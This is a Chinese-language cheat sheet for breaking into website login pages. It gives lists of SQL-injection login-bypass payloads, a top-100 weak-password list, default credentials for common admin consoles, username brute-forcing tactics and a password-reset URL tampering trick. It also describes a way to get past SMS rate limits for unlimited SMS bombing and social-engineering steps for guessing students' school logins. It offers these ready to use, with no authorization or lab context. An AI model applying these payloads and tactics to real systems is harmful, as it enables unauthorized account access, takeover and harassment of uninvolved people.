首先 在进入登陆界面时,一般都是先用万能密码什么的测下输入框有没有注入(现在很少见了)。如果没有,那就先拿admin,123456什么的测试下弱口令,不求运气爆棚一下就猜到密码。主要是看下回显,查看是否存在账号锁定策略,密码不正确,不存在此用户名等信息,以便于尝试遍历可能存在的用户名。没验证码就上爆破工具,有验证码的话看看能不能绕过,实在不行手工测几个账号密码碰碰运气。
爆破 除了普通的用户名密码字典爆破,还有一种姿势是固定密码爆破用户名。比如使用固定密码123456,爆破常用用户名或者常用人名拼音。
目录扫描 :说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等。 fuzz工具试试 wfuzz
框架漏洞:
对一些CMS,已经比较成熟了,漏洞确实不好挖。如果网上(乌云,seebug,搜索引擎等)的历史漏洞没有复现成功,那一般情况下就只能寻找下逻辑漏洞、网站管理员配置错误或者弱口令什么的。
对于一些不知名的框架,一般也可通过登陆界面底下的声明中找到开发公司和产品版本时间。
在网上找找此公司产品是否爆出过漏洞。若是开源的框架,还可下载源码进行代码审计寻找漏洞。
像java的站,登陆页面是.do或.action的网址。可尝试下 struts2 命令执行漏洞,本人一般使用安恒的S2漏洞验证工具。
社工:
像教育站,登陆账号可能是学号,密码是身份证后六位。百度查xxx学校一卡通丢失,一般就能从某学生的失物启示找到学号。
或者在文章标题下,若存在作者名字,可能就是用户名
密码除结合管理员电话,qq,姓名等外,还可注意下网站的一些关键词。
社工密码字典生成, 在线网站生成:
hashcat这款爆破工具也能生成社工字典
逻辑漏洞:云短信接受平台:
越权:更改返回包,禁用js文件、审查网站源码、
快速在网站的js文件中提取URL,子域名的工具:JSFinder
然后点击登录即可获取到post或者get的请求头及请求主体的内容,如图2所示,就获取到了http明文登录的敏感数据了。
通过使用burpsuite进行抓包也是一样的,只要配置好了burpsuite,我们也可以抓取这些敏感数据,如图3所示:
任意用户注册
注册的地方,很简单#
忘记密码处逻辑漏洞
案例介绍: 问题出现在忘记密码处,可以通过手机找回和邮箱找回密码两种方式获得指定帐户的新密码设置权限
进入忘记密码,填写想要获取权限帐号的ID
获得url
选择邮箱找回
获得url:
系统已将新密码设置url发送给邮箱
此时只需要将前面获取的url修改一下
即可获得设置该用户新密码的权限
短信、邮件炸弹
短信轰炸,一般人可能抓包重放失败后就放弃了。这里有个技巧,
是从西门吹雪师傅博文里学到的绕过的姿势:
发送短信处一般每隔60秒才能发送一次
但若是发包时在手机号后加上一个空格、加号或换行符等特殊字符。然后重新发送,这时若发送成功,则说明可绕过限制。
此时在intruder模块只要持续递增空格就可造成无限短信轰炸
弱口令
频率比较高的公共弱口令:
(Top 100):
123456 a123456 123456a 5201314 111111 woaini1314 qq123456 123123 000000 1qaz2wsx 1q2w3e4r
qwe123 7758521 123qwe a123123 123456aa woaini520 woaini 100200 1314520 woaini123 123321
q123456 123456789 123456789a 5211314 asd123 a123456789 z123456 asd123456 a5201314 aa123456
zhang123 aptx4869 123123a 1q2w3e4r5t 1qazxsw2 5201314a 1q2w3e aini1314 31415926 q1w2e3r4
123456qq woaini521 1234qwer a111111 520520 iloveyou abc123 110110 111111a 123456abc w123456
7758258 123qweasd 159753 qwer1234 a000000 qq123123 zxc123 123654 abc123456 123456q qq5201314
12345678 000000a 456852 as123456 1314521 112233 521521 qazwsx123 zxc123456 abcd1234 asdasd
666666 love1314 QAZ123 aaa123 q1w2e3 aaaaaa a123321 123000 11111111 12qwaszx 5845201314
s123456 nihao123 caonima123 zxcvbnm123 wang123 159357 1A2B3C4D asdasd123 584520 753951 147258
1123581321 110120 qq1314520
对于网站后台而言,一般为:
admin
manager
admin123
admin888
admin666
具体来说,不同的后台类型拥有不同的弱密码:
数据库(phpmyadmin):账号:root,密码:root、root123、123456
tomcat:账号:admin、tomcat、manager,密码:admin、tomcat、admin123、123456、manager
jboss:账号:admin、jboss、manager,密码:admin、jboss、manager、123456
weblogic :账号:weblogic、admin、manager,密码:weblogic、admin、manager、123456
万能密码
asp aspx万能密码
1: “or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6: “or 1=1–
7:’or’a’=’a
8: “or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1′ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 新型万能登陆密码
用户名 ‘ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or’=’or’
‘or 1=1/* 字符型 GPC是否开都可以使用
User: something
Pass: ‘ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1’or’1’=’1
登录绕过
后台验证密码 SQL 语句:
sql = “select * from Manage_User whereUserName='” & name & “‘ AndPassWord='”&encrypt(pwd)&”‘” 将用户名和密码放入查询语句中查询数据库,
在用户名处提交’or’=’or’,这样就使得SQL语句变成:select* from Manage_User where UserName=’’or‘=’or” And PassWord=’123456’。((假or真or假and(真/假))=真)执行后得到rs对象的结果为真,这样就能顺利的进入后台了。